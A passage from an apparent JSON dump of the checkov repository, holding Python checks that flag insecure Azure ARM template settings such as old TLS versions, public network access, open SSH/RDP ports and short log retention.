    "content": "from typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass FunctionAppMinTLSVersion(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Function app is using the latest version of TLS encryption\"\n        id = \"CKV_AZURE_145\"\n        supported_resources = ('Microsoft.Web/sites', 'Microsoft.Web/sites/slots',)\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/siteConfig/minTlsVersion\"\n\n    def get_expected_value(self) -> Any:\n        return 1.2\n\n    def get_expected_values(self) -> List[Any]:\n        return [\"1.2\", 1.2, \"1.3\", 1.3]\n\n\ncheck = FunctionAppMinTLSVersion()\n"
  },
  {
    "path": "checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass FunctionAppsAccessibleOverHttps(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Function apps is only accessible over HTTPS\"\n        id = \"CKV_AZURE_70\"\n        supported_resources = (\n            \"Microsoft.Web/sites/config\",\n            \"Microsoft.Web/sites\",\n            \"Microsoft.Web/sites/slots\",\n        )\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"properties\" in conf:\n            if self.entity_type == \"Microsoft.Web/sites\" or self.entity_type == \"Microsoft.Web/sites/slots\":\n                if \"httpsOnly\" not in conf[\"properties\"]:\n                    return CheckResult.FAILED\n\n                https_only = conf[\"properties\"][\"httpsOnly\"]\n                if not https_only:\n                    return CheckResult.FAILED\n\n        if \"httpSettings\" in conf[\"properties\"]:\n            auth_settings_v2 = conf[\"properties\"][\"httpSettings\"]\n\n            # default=true for require_https\n            if 'requireHttps' not in auth_settings_v2:\n                return CheckResult.PASSED\n\n            require_https = auth_settings_v2.get(\"requireHttps\")\n            if not require_https:\n                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"properties\", \"properties/httpsOnly\", \"properties/httpSettings\"]\n\n\ncheck = FunctionAppsAccessibleOverHttps()\n"
  },
  {
    "path": "checkov/arm/checks/resource/FunctionAppsEnableAuthentication.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass FunctionAppsEnableAuthentication(BaseResourceCheck):\n\n    def __init__(self) -> None:\n        name = \"Ensure that function apps enables Authentication\"\n        id = \"CKV_AZURE_56\"\n        supported_resources = (\"Microsoft.Web/sites/config\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if conf.get('name', '') != 'authsettingsV2':\n            return CheckResult.PASSED\n\n        properties = conf.get('properties', {})\n        if properties and isinstance(properties, dict):\n            platform = properties.get('platform', {})\n            if platform and isinstance(properties, dict):\n                enabled = platform.get('enabled', False)\n                if enabled:\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['properties', 'properties/platform', 'properties/platform/enabled']\n\n\ncheck = FunctionAppsEnableAuthentication()\n"
  },
  {
    "path": "checkov/arm/checks/resource/KeyBackedByHSM.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass KeyBackedByHSM(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that key vault key is backed by HSM\"\n        id = \"CKV_AZURE_112\"\n        supported_resources = (\"Microsoft.KeyVault/vaults/keys\",)\n        categories = (CheckCategories.BACKUP_AND_RECOVERY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/kty\"\n\n    def get_expected_value(self) -> Any:\n        return \"RSA-HSM\"\n\n    def get_expected_values(self) -> list[Any]:\n        return [self.get_expected_value(), \"EC-HSM\"]\n\n\ncheck = KeyBackedByHSM()\n"
  },
  {
    "path": "checkov/arm/checks/resource/KeyExpirationDate.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass KeyExpirationDate(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that the expiration date is set on all keys\"\n        id = \"CKV_AZURE_40\"\n        supported_resources = ['Microsoft.KeyVault/vaults/keys']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'properties/rotationPolicy/attributes/expiryTime'\n\n    def get_expected_value(self) -> str:\n        return ANY_VALUE\n\n\ncheck = KeyExpirationDate()\n"
  },
  {
    "path": "checkov/arm/checks/resource/KeyVaultDisablesPublicNetworkAccess.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom typing import Dict, Any\n\n\nclass KeyVaultDisablesPublicNetworkAccess(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Key Vault disables public network access\"\n        id = \"CKV_AZURE_189\"\n        supported_resources = (\"Microsoft.KeyVault/vaults\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"publicNetworkAccess\"\n\n    def get_expected_value(self) -> str:\n        return \"disabled\"\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        properties = conf.get(\"properties\", {})\n        if self.get_inspected_key() in properties:\n            conf_value = conf[\"properties\"][self.get_inspected_key()]\n            # Docs are unclear, so supporting Disabled and disabled\n            if conf_value and conf_value.lower() == self.get_expected_value():\n                return CheckResult.PASSED\n\n        if properties and \"networkAcls\" in properties:\n            network_acls = conf[\"properties\"][\"networkAcls\"]\n            if isinstance(network_acls, dict) and \"ipRules\" in network_acls:\n                ip_rules = network_acls[\"ipRules\"]\n                ip_rules = ip_rules[0] if ip_rules and isinstance(ip_rules, list) else ip_rules\n                if ip_rules:\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = KeyVaultDisablesPublicNetworkAccess()\n"
  },
  {
    "path": "checkov/arm/checks/resource/KeyVaultEnablesFirewallRulesSettings.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass KeyVaultEnablesFirewallRulesSettings(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that key vault allows firewall rules settings\"\n        id = \"CKV_AZURE_109\"\n        supported_resources = (\"Microsoft.KeyVault/vaults\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/networkAcls/defaultAction\"\n\n    def get_expected_value(self) -> Any:\n        return \"Deny\"\n\n\ncheck = KeyVaultEnablesFirewallRulesSettings()\n"
  },
  {
    "path": "checkov/arm/checks/resource/KeyVaultEnablesPurgeProtection.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass KeyVaultEnablesPurgeProtection(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that key vault enables purge protection\"\n        id = \"CKV_AZURE_110\"\n        supported_resources = ['Microsoft.KeyVault/vaults']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> Any:\n        return \"properties/enablePurgeProtection\"\n\n    def get_expected_value(self) -> bool:\n        return True\n\n\ncheck = KeyVaultEnablesPurgeProtection()\n"
  },
  {
    "path": "checkov/arm/checks/resource/KeyVaultEnablesSoftDelete.py",
    "content": "from checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.enums import CheckResult\n\n\nclass KeyVaultEnablesSoftDelete(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that key vault enables soft delete\"\n        id = \"CKV_AZURE_111\"\n        supported_resources = ['Microsoft.KeyVault/vaults']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/enableSoftDelete\"\n\n\ncheck = KeyVaultEnablesSoftDelete()\n"
  },
  {
    "path": "checkov/arm/checks/resource/KeyvaultRecoveryEnabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass KeyVaultRecoveryEnabled(BaseResourceCheck):\n    def __init__(self) -> None:\n        # https://docs.microsoft.com/en-us/azure/templates/microsoft.keyvault/2016-10-01/vaults\n        name = \"Ensure the key vault is recoverable\"\n        id = \"CKV_AZURE_42\"\n        supported_resources = ('Microsoft.KeyVault/vaults',)\n        categories = (CheckCategories.BACKUP_AND_RECOVERY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        # NOTE: enablePurgeProtection not supported in API version 2015-06-01\n        if \"properties\" in conf:\n            if \"enablePurgeProtection\" in conf[\"properties\"] and \"enableSoftDelete\" in conf[\"properties\"]:\n                if str(conf[\"properties\"][\"enablePurgeProtection\"]).lower() == \"true\" and \\\n                        str(conf[\"properties\"][\"enableSoftDelete\"]).lower() == \"true\":\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"properties\", \"properties/enablePurgeProtection\", \"properties/enableSoftDelete\"]\n\n\ncheck = KeyVaultRecoveryEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/LinuxVMUsesSSH.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom typing import Any\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass LinuxVMUsesSSH(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure linux VM enables SSH with keys for secure communication\"\n        id = \"CKV_AZURE_178\"\n        supported_resources = (\"Microsoft.Compute/virtualMachines\", \"Microsoft.Compute/virtualMachineScaleSets\")\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,)\n\n    def get_inspected_key(self) -> str:\n        if self.entity_type == \"Microsoft.Compute/virtualMachineScaleSets\":\n            return \"properties/virtualMachineProfile/osProfile/linuxConfiguration/ssh/publicKeys/[0]/path\"\n        return \"properties/osProfile/linuxConfiguration/ssh/publicKeys/[0]/path\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = LinuxVMUsesSSH()\n"
  },
  {
    "path": "checkov/arm/checks/resource/MSSQLServerMinTLSVersion.py",
    "content": "from typing import List, Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass MSSQLServerMinTLSVersion(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure MSSQL is using the latest version of TLS encryption\"\n        id = \"CKV_AZURE_52\"\n        supported_resources = (\"Microsoft.Sql/servers\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name,\n                         id=id,\n                         categories=categories,\n                         supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED,)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/minimalTlsVersion\"\n\n    def get_expected_value(self) -> str:\n        return \"1.2\"\n\n    def get_expected_values(self) -> List[Any]:\n        return [\"1.2\", 1.2, \"1.3\", 1.3]\n\n\ncheck = MSSQLServerMinTLSVersion()\n"
  },
  {
    "path": "checkov/arm/checks/resource/MariaDBGeoBackupEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass MariaDBGeoBackupEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that MariaDB server enables geo-redundant backups\"\n        id = \"CKV_AZURE_129\"\n        supported_resources = (\"Microsoft.DBforMariaDB/servers\",)\n        categories = (CheckCategories.BACKUP_AND_RECOVERY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/storageProfile/geoRedundantBackup\"\n\n    def get_expected_value(self) -> str:\n        return \"Enabled\"\n\n\ncheck = MariaDBGeoBackupEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/MariaDBPublicAccessDisabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass MariaDBPublicAccessDisabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure 'public network access enabled' is set to 'False' for MariaDB servers\"\n        id = \"CKV_AZURE_48\"\n        supported_resources = (\"Microsoft.DBforMariaDB/servers\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/publicNetworkAccess\"\n\n    def get_expected_value(self) -> str:\n        return \"Disabled\"\n\n\ncheck = MariaDBPublicAccessDisabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/MariaDBSSLEnforcementEnabled.py",
    "content": "from typing import Any\n\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass MariaDBSSLEnforcementEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure 'Enforce SSL connection' is set to 'ENABLED' for MariaDB servers\"\n        id = \"CKV_AZURE_47\"\n        supported_resources = [\"Microsoft.DBforMariaDB/servers\"]\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/sslEnforcement\"\n\n    def get_expected_value(self) -> Any:\n        return \"Enabled\"\n\n\ncheck = MariaDBSSLEnforcementEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/MonitorLogProfileCategories.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n# https://docs.microsoft.com/en-us/azure/templates/microsoft.insights/2016-03-01/logprofiles\n\n\nclass MonitorLogProfileRetentionDays(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure audit profile captures all the activities\"\n        id = \"CKV_AZURE_38\"\n        supported_resources = (\"Microsoft.Insights/logprofiles\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"properties\" in conf and \"categories\" in conf[\"properties\"]:\n            categories = (\"Write\", \"Delete\", \"Action\")\n            if all(category in conf[\"properties\"][\"categories\"] for category in categories):\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"properties\", \"properties/categories\"]\n\n\ncheck = MonitorLogProfileRetentionDays()\n"
  },
  {
    "path": "checkov/arm/checks/resource/MonitorLogProfileRetentionDays.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.type_forcers import force_int\n\n# https://docs.microsoft.com/en-us/azure/templates/microsoft.insights/2016-03-01/logprofiles\n\n\nclass MonitorLogProfileRetentionDays(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Activity Log Retention is set 365 days or greater\"\n        id = \"CKV_AZURE_37\"\n        supported_resources = (\"Microsoft.Insights/logprofiles\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        self.evaluated_keys = [\"properties\"]\n        if \"properties\" in conf and \"retentionPolicy\" in conf[\"properties\"]:\n            self.evaluated_keys = [\"properties/retentionPolicy\"]\n            retention = conf[\"properties\"][\"retentionPolicy\"]\n            if \"enabled\" in retention and str(retention[\"enabled\"]).lower() == \"true\":\n                if \"days\" in retention:\n                    days = force_int(retention[\"days\"])\n                    if days is not None and (days == 0 or days >= 365):\n                        return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = MonitorLogProfileRetentionDays()\n"
  },
  {
    "path": "checkov/arm/checks/resource/MySQLEncryptionEnabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass MySQLEncryptionEnabled(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that MySQL server enables infrastructure encryption\"\n        id = \"CKV_AZURE_96\"\n        supported_resources = (\"Microsoft.DBforMySQL/flexibleServers\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        properties = conf.get(\"properties\")\n        if properties and isinstance(properties, dict):\n            self.evaluated_keys = [\"properties/dataencryption\"]\n            data_encryption = properties.get(\"dataencryption\")\n            if data_encryption and isinstance(data_encryption, dict):\n                if data_encryption is None:\n                    return CheckResult.FAILED\n                return CheckResult.PASSED\n            # unparsed\n            elif data_encryption and isinstance(data_encryption, str):\n                return CheckResult.UNKNOWN\n            return CheckResult.FAILED\n        return CheckResult.UNKNOWN\n\n\ncheck = MySQLEncryptionEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/MySQLGeoBackupEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass MySQLGeoBackupEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that My SQL server enables geo-redundant backups\"\n        id = \"CKV_AZURE_94\"\n        supported_resources = (\"Microsoft.DBforMySQL/flexibleServers\",)\n        categories = (CheckCategories.BACKUP_AND_RECOVERY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/Backup/geoRedundantBackup\"\n\n\ncheck = MySQLGeoBackupEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/MySQLPublicAccessDisabled.py",
    "content": "from typing import List\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass MySQLPublicAccessDisabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure 'public network access enabled' is set to 'False' for mySQL servers\"\n        id = \"CKV_AZURE_53\"\n        supported_resources = (\"Microsoft.DBforMySQL/servers\", \"Microsoft.DBforMySQL/flexibleServers\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        if self.entity_type == \"Microsoft.DBforMySQL/servers\":\n            return \"properties/publicNetworkAccess\"\n        else:\n            return \"properties/network/publicNetworkAccess\"\n\n    def get_expected_value(self) -> str:\n        return \"disabled\"\n\n    def get_expected_values(self) -> List[str]:\n        return [\"disabled\", \"Disabled\"]\n\n\ncheck = MySQLPublicAccessDisabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/MySQLServerMinTLSVersion.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass MySQLServerMinTLSVersion(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure MySQL is using the latest version of TLS encryption\"\n        id = \"CKV_AZURE_54\"\n        supported_resources = (\"Microsoft.DBforMySQL/servers\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name,\n                         id=id,\n                         categories=categories,\n                         supported_resources=supported_resources, )\n\n    def get_inspected_key(self) -> str:\n        return \"properties/minimalTlsVersion\"\n\n    def get_expected_value(self) -> str:\n        return \"TLS1_2\"\n\n\ncheck = MySQLServerMinTLSVersion()\n"
  },
  {
    "path": "checkov/arm/checks/resource/MySQLServerSSLEnforcementEnabled.py",
    "content": "from typing import Any\n\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass MySQLServerSSLEnforcementEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure 'Enforce SSL connection' is set to 'ENABLED' for MySQL Database Server\"\n        id = \"CKV_AZURE_28\"\n        supported_resources = [\"Microsoft.DBforMySQL/servers\"]\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/sslEnforcement\"\n\n    def get_expected_value(self) -> Any:\n        return \"Enabled\"\n\n\ncheck = MySQLServerSSLEnforcementEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/NSGRuleHTTPAccessRestricted.py",
    "content": "from checkov.arm.checks.resource.NSGRulePortAccessRestricted import NSGRulePortAccessRestricted\n\n\nclass NSGRuleHTTPAccessRestricted(NSGRulePortAccessRestricted):\n    def __init__(self) -> None:\n        super().__init__(\n            name=\"Ensure that HTTP (port 80) access is restricted from the internet\",\n            check_id=\"CKV_AZURE_160\",\n            port=80,\n        )\n\n\ncheck = NSGRuleHTTPAccessRestricted()\n"
  },
  {
    "path": "checkov/arm/checks/resource/NSGRulePortAccessRestricted.py",
    "content": "import re\nfrom typing import Union, Dict, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n# https://docs.microsoft.com/en-us/azure/templates/microsoft.network/networksecuritygroups\n# https://docs.microsoft.com/en-us/azure/templates/microsoft.network/networksecuritygroups/securityrules\n\nINTERNET_ADDRESSES = [\"*\", \"0.0.0.0\", \"<nw>/0\", \"/0\", \"internet\", \"any\"]  # nosec\nPORT_RANGE = re.compile(r\"\\d+-\\d+\")\n\n\nclass NSGRulePortAccessRestricted(BaseResourceCheck):\n    def __init__(self, name: str, check_id: str, port: int) -> None:\n        supported_resources = (\n            \"Microsoft.Network/networkSecurityGroups\",\n            \"Microsoft.Network/networkSecurityGroups/securityRules\",\n        )\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources)\n        self.port = port\n\n    def is_port_in_range(self, port_range: Union[int, str]) -> bool:\n        port_range_str = str(port_range)\n        if re.match(PORT_RANGE, port_range_str):\n            start, end = int(port_range_str.split(\"-\")[0]), int(port_range_str.split(\"-\")[1])\n            if start <= self.port <= end:\n                return True\n        if port_range in (str(self.port), \"*\"):\n            return True\n        return False\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        if \"properties\" in conf:\n            securityRules = []\n            if self.entity_type == \"Microsoft.Network/networkSecurityGroups\":\n                if \"securityRules\" in conf[\"properties\"]:\n                    securityRules.extend(conf[\"properties\"][\"securityRules\"])\n            if self.entity_type == \"Microsoft.Network/networkSecurityGroups/securityRules\":\n                securityRules.append(conf)\n\n            for rule in securityRules:\n                portRanges = []\n                sourcePrefixes = []\n                if \"properties\" in rule:\n                    if \"access\" in rule[\"properties\"] and rule[\"properties\"][\"access\"].lower() == \"allow\":\n                        if \"direction\" in rule[\"properties\"] and rule[\"properties\"][\"direction\"].lower() == \"inbound\":\n                            if \"protocol\" in rule[\"properties\"] and rule[\"properties\"][\"protocol\"].lower() in (\"tcp\", \"*\"):\n                                if \"destinationPortRanges\" in rule[\"properties\"]:\n                                    portRanges.extend(rule[\"properties\"][\"destinationPortRanges\"])\n                                if \"destinationPortRange\" in rule[\"properties\"]:\n                                    portRanges.append(rule[\"properties\"][\"destinationPortRange\"])\n\n                                if \"sourceAddressPrefixes\" in rule[\"properties\"]:\n                                    sourcePrefixes.extend(rule[\"properties\"][\"sourceAddressPrefixes\"])\n                                if \"sourceAddressPrefix\" in rule[\"properties\"]:\n                                    sourcePrefixes.append(rule[\"properties\"][\"sourceAddressPrefix\"])\n\n                                for portRange in portRanges:\n                                    if self.is_port_in_range(portRange):\n                                        for prefix in sourcePrefixes:\n                                            if prefix in INTERNET_ADDRESSES:\n                                                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n"
  },
  {
    "path": "checkov/arm/checks/resource/NSGRuleRDPAccessRestricted.py",
    "content": "from checkov.arm.checks.resource.NSGRulePortAccessRestricted import NSGRulePortAccessRestricted\n\n\nclass NSGRuleRDPAccessRestricted(NSGRulePortAccessRestricted):\n    def __init__(self) -> None:\n        super().__init__(\n            name=\"Ensure that RDP access is restricted from the internet\", check_id=\"CKV_AZURE_9\", port=3389\n        )\n\n\ncheck = NSGRuleRDPAccessRestricted()\n"
  },
  {
    "path": "checkov/arm/checks/resource/NSGRuleSSHAccessRestricted.py",
    "content": "from checkov.arm.checks.resource.NSGRulePortAccessRestricted import NSGRulePortAccessRestricted\n\n\nclass NSGRuleSSHAccessRestricted(NSGRulePortAccessRestricted):\n    def __init__(self) -> None:\n        super().__init__(\n            name=\"Ensure that SSH access is restricted from the internet\", check_id=\"CKV_AZURE_10\", port=22\n        )\n\n\ncheck = NSGRuleSSHAccessRestricted()\n"
  },
  {
    "path": "checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.type_forcers import force_int\n\n\nclass NetworkWatcherFlowLogPeriod(BaseResourceCheck):\n    def __init__(self) -> None:\n        # https://docs.microsoft.com/en-us/azure/templates/microsoft.network/2020-04-01/networkwatchers/flowlogs\n        name = \"Ensure that Network Security Group Flow Log retention period is 'greater than 90 days'\"\n        id = \"CKV_AZURE_12\"\n        supported_resources = (\n            'Microsoft.Network/networkWatchers/flowLogs',\n            'Microsoft.Network/networkWatchers/FlowLogs',\n            'Microsoft.Network/networkWatchers/flowLogs/',\n            'Microsoft.Network/networkWatchers/FlowLogs/',\n        )\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"properties\" in conf:\n            if \"enabled\" in conf[\"properties\"]:\n                if str(conf[\"properties\"][\"enabled\"]).lower() == \"true\":\n                    if \"retentionPolicy\" in conf[\"properties\"]:\n                        if \"enabled\" in conf[\"properties\"][\"retentionPolicy\"]:\n                            if str(conf[\"properties\"][\"retentionPolicy\"][\"enabled\"]).lower() == \"true\":\n                                if \"days\" in conf[\"properties\"][\"retentionPolicy\"]:\n                                    days = force_int(conf[\"properties\"][\"retentionPolicy\"][\"days\"])\n                                    if days and days >= 90:\n                                        return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['properties', 'properties/enabled', 'properties/retentionPolicy', 'properties/retentionPolicy/enabled',\n                'properties/retentionPolicy/days']\n\n\ncheck = NetworkWatcherFlowLogPeriod()\n"
  },
  {
    "path": "checkov/arm/checks/resource/PostgreSQLEncryptionEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass PostgreSQLEncryptionEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that PostgreSQL server enables infrastructure encryption\"\n        id = \"CKV_AZURE_130\"\n        supported_resources = [\"Microsoft.DBforPostgreSQL/servers\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/infrastructureEncryption\"\n\n    def get_expected_value(self) -> str:\n        return \"Enabled\"\n\n\ncheck = PostgreSQLEncryptionEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/PostgreSQLServerConnectionThrottlingEnabled.py",
